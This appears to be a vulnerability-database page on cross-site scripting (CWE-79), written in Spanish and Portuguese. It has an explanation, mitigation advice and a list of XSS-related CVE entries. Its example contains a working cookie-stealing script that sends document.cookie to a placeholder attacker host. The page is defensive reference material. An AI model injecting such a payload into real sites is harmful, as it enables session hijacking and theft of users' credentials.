Fallos del tipo CWE-79

29.281 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13227MEDIUMRank Math SEO – AI SEO Tools to Dominate SEO Rankings <= 1.0.235 - Authenticated (Contributor+) Stored Cross-Site Scripting via Rank Math APIEPSS 0.5%CVE-2023-5950HIGHRapid7 Velociraptor Reflected XSS EPSS 0.5%CVE-2024-10869MEDIUMGuardGiant Brute Force Protection <= 2.2.6 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2024-8582MEDIUMSourceCodester Food Ordering Management System index.php cross site scriptingEPSS 0.5%CVE-2024-8874MEDIUMAJAX Login and Registration modal popup + inline form <= 2.24 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2020-15249LOWStored XSS by authenticated backend user with access to upload filesEPSS 0.5%CVE-2026-105798HIGHSimpleChat: Stored XSS via group document filename in inline onclick handlerEPSS 0.5%CVE-2023-1932MEDIUMHibernate-validator: rendering of invalid html with safehtml leads to html injection and xssEPSS 0.5%CVE-2025-0295MEDIUMcode-projects Online Book Shop booklist.php cross site scriptingEPSS 0.5%CVE-2023-48432MEDIUMAn issue was discovered in Zimbra Collaboration (ZCS) 8.8.15, 9.0, and 10.0. XSS, with resultant session stealing, can occur via JavaScript EPSS 0.5%CVE-2023-28435MEDIUMDataease file upload interface does not verify permission or file typeEPSS 0.5%CVE-2019-25676HIGHAsk Expert Script 3.0.5 Cross Site Scripting SQL InjectionEPSS 0.5%CVE-2025-1586MEDIUMcode-projects Blood Bank System A-.php cross site scriptingEPSS 0.5%CVE-2024-2285LOWboyiddha Automated-Mess-Management-System member_edit.php cross site scriptingEPSS 0.5%CVE-2023-34360HIGHASUS RT-AX88U - Stored XSSEPSS 0.5%CVE-2024-8084MEDIUMSourceCodester Online Computer and Laptop Store Setting SystemSettings.php cross site scriptingEPSS 0.5%CVE-2024-2284LOWboyiddha Automated-Mess-Management-System Chat Book chat.php cross site scriptingEPSS 0.5%CVE-2023-4158MEDIUMCross-site Scripting (XSS) - Stored in omeka/omeka-sEPSS 0.5%CVE-2022-41638MEDIUMWordPress Pop-Up Chop Chop plugin <= 2.1.7 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2021-33694MEDIUMSAP Cloud Connector, version - 2.0, does not sufficiently encode user-controlled inputs, allowing an attacker with Administrator rights, to EPSS 0.5%